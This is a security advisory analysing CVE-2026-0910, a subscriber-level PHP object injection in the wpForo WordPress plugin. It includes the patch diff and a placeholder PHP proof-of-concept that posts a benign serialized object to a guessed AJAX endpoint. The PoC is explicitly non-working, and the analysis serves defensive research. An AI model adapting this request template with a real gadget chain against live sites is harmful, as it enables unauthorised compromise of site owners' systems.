Atomic Edge analysis of CVE-2026-0910:
This vulnerability is an authenticated PHP object injection in the wpForo Forum WordPress plugin, affecting versions up to and including 2.4.13. The flaw resides in the `wpforo_display_array_data` function, which insecurely deserializes user-controlled data. The CVSS score of 8.8 reflects a high-severity issue requiring subscriber-level authentication and a secondary POP chain for full impact.
The root cause is insecure deserialization within the `wpforo_display_array_data` function, located in `/wpforo/admin/tools-tabs/debug.php`. The function processes an array parameter. On lines 198 and 204 of the vulnerable code, the `unserialize()` function is called without restrictions on allowed classes. This occurs when the code determines a value is serialized via the `is_serialized()` check. An attacker can supply a serialized PHP object as part of the array data processed by this function, leading to object injection.
Exploitation requires an authenticated attacker with Subscriber privileges or higher to reach the code path that calls `wpforo_display_array_data` with attacker-controlled input. Atomic Edge research indicates the function is likely called from admin debug or display logic. An attacker would craft a POST or GET request containing a serialized malicious object in a parameter that eventually populates the `$array` argument for the vulnerable function. The exact endpoint is not specified in the diff, but the vulnerability’s nature suggests it is reachable via plugin admin or frontend components that process forum data for display.
The patch, applied in version 2.4.14, modifies the two `unserialize()` calls in `/wpforo/admin/tools-tabs/debug.php`. The fix adds the `allowed_classes` option set to `false` (lines 198 and 204 in the patched code). This change prevents the instantiation of any PHP object during deserialization, converting objects to `__PHP_Incomplete_Class` instead. The patch effectively neutralizes the object injection vector by restricting class instantiation.
Successful exploitation requires a POP (Property-Oriented Programming) chain present in the WordPress installation. The wpForo plugin itself contains no known POP chain. If a compatible chain exists in another plugin or theme, an attacker could achieve remote code execution, file deletion, or data retrieval. The impact is contingent on the presence of a suitable gadget chain, making the vulnerability a high-severity precondition for further compromise.
--- a/wpforo/admin/tools-tabs/debug.php
+++ b/wpforo/admin/tools-tabs/debug.php
@@ -195,13 +195,13 @@
foreach( $array as $k => $v ) {
if( ( ! empty( $keys ) && ! in_array( $k, $keys ) && strpos( (string) $k, 'capabilities' ) === false ) || $k == 'user_pass' ) continue;
if( is_serialized( $v ) || is_array( $v ) ) {
- $v = ( is_array( $v ) ) ? $v : @unserialize( $v );
+ $v = ( is_array( $v ) ) ? $v : @unserialize( $v, [ 'allowed_classes' => false ] );
$v_html = '';
if( is_array( $v ) && ! empty( $v ) ) {
foreach( $v as $kk => $vv ) {
if( is_serialized( $vv ) || is_array( $vv ) ) {
$v_html = '';
- $vv = ( is_array( $vv ) ) ? $vv : unserialize( $vv );
+ $vv = ( is_array( $vv ) ) ? $vv : unserialize( $vv, [ 'allowed_classes' => false ] );
if( $k === wpforo_prefix( 'read_topics' ) ) {
$v_html .= "<span class='wpf-sb-data'>" . count( $vv ) . "</span> ";
} else {
--- a/wpforo/themes/2022/recent.php
+++ b/wpforo/themes/2022/recent.php
@@ -3,44 +3,43 @@
if( ! defined( 'ABSPATH' ) ) exit;
?>
<div class="wpforo-recent-wrap">
- <?php do_action( 'wpforo_recent_list_head' ); ?>
+ <?php do_action( 'wpforo_recent_list_head', WPF()->current_object['args'], wpfval( WPF()->current_object['args'], 'view' ) ); ?>
<div class="wpf-head-bar">
<div class="wpf-head-top">
<h1 id="wpforo-title"><?php echo wpforo_get_recent_page_title() ?></h1>
<div class="wpforo-feed" style="float: none;">
- <?php wpforo_mark_all_read_link();
- wpforo_rss_feed_links(); ?>
+ <?php wpforo_mark_all_read_link();
+ wpforo_rss_feed_links(); ?>
</div>
</div>
<div class="wpf-head-bottom">
<div class="wpf-head-prefix">
- <?php do_action( 'wpforo_recent_posts_page_under_head', WPF()->current_object['args'], wpfval( WPF()->current_object['args'], 'view' ) ); ?>
+ <?php do_action( 'wpforo_recent_posts_page_under_head', WPF()->current_object['args'], wpfval( WPF()->current_object['args'], 'view' ) ); ?>
</div>
<div class="wpf-head-buttons">
<div class="wpf-head-filter">
- <?php echo wpforo_get_recent_page_filter_selectbox() ?>
+ <?php echo wpforo_get_recent_page_filter_selectbox() ?>
</div>
<div class="wpf-snavi">
- <?php wpforo_template_pagenavi( 'wpf-navi-recentpost-top', false ); ?>
+ <?php wpforo_template_pagenavi( 'wpf-navi-recentpost-top', false ); ?>
</div>
</div>
</div>
</div>
-
- <?php
- if( wpfval( WPF()->current_object['args'], 'type' ) === 'topics' ) {
- include( wpftpl( 'recent-topics.php' ) );
- } else {
- include( wpftpl( 'recent-posts.php' ) );
- }
- ?>
+
+ <?php do_action( 'wpforo_recent_list_top', WPF()->current_object['args'], wpfval( WPF()->current_object['args'], 'view' ) ); ?>
+
+ <?php
+ if( wpfval( WPF()->current_object['args'], 'type' ) === 'topics' ) {
+ include( wpftpl( 'recent-topics.php' ) );
+ } else {
+ include( wpftpl( 'recent-posts.php' ) );
+ }
+ ?>
<div class="wpf-snavi">
- <?php wpforo_template_pagenavi( 'wpf-navi-recentpost-bottom', false ); ?>
+ <?php wpforo_template_pagenavi( 'wpf-navi-recentpost-bottom', false ); ?>
</div>
-
- <?php do_action( 'wpforo_recent_list_footer' ); ?>
+
+ <?php do_action( 'wpforo_recent_list_footer', WPF()->current_object['args'], wpfval( WPF()->current_object['args'], 'view' ) ); ?>
</div>
-<p> </p>
-<p> </p>
-<p> </p>
--- a/wpforo/wpforo.php
+++ b/wpforo/wpforo.php
@@ -5,7 +5,7 @@
* Description: WordPress Forum plugin. wpForo is a full-fledged forum solution for your community. Comes with multiple modern forum layouts.
* Author: gVectors Team
* Author URI: https://gvectors.com/
-* Version: 2.4.13
+* Version: 2.4.14
* Requires at least: 5.2
* Requires PHP: 7.2
* Text Domain: wpforo
@@ -14,7 +14,7 @@
namespace wpforo;
-define( 'WPFORO_VERSION', '2.4.13' );
+define( 'WPFORO_VERSION', '2.4.14' );
//Exit if accessed directly
if( ! defined( 'ABSPATH' ) ) exit;
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0910 - wpForo Forum <= 2.4.13 - Authenticated (Subscriber+) PHP Object Injection
<?php
/*
* Proof of Concept for CVE-2026-0910.
* This script demonstrates the PHP object injection vulnerability in wpForo <= 2.4.13.
* It requires a valid WordPress subscriber session cookie and a target URL where the
* vulnerable `wpforo_display_array_data` function is invoked with user input.
* The exact endpoint and parameter are not publicly documented; this PoC uses a placeholder.
* A real exploit would require a specific POP chain payload.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Placeholder endpoint
$cookie = 'wordpress_logged_in_abc=...'; // Valid subscriber session cookie
// A generic serialized object payload. A real attack requires a specific POP chain.
$serialized_payload = 'O:8:"stdClass":1:{s:4:"test";s:4:"test";}';
// The specific parameter name is not identified in the diff.
// This demonstrates the structure of a potential attack request.
$post_data = array(
'action' => 'wpforo_some_action', // Placeholder AJAX action
'data' => $serialized_payload // Parameter containing serialized data
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'Cookie: ' . $cookie
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// Note: Without a known POP chain and the exact vulnerable endpoint/parameter,
// this script will not produce exploitable results. It serves as a template.
?>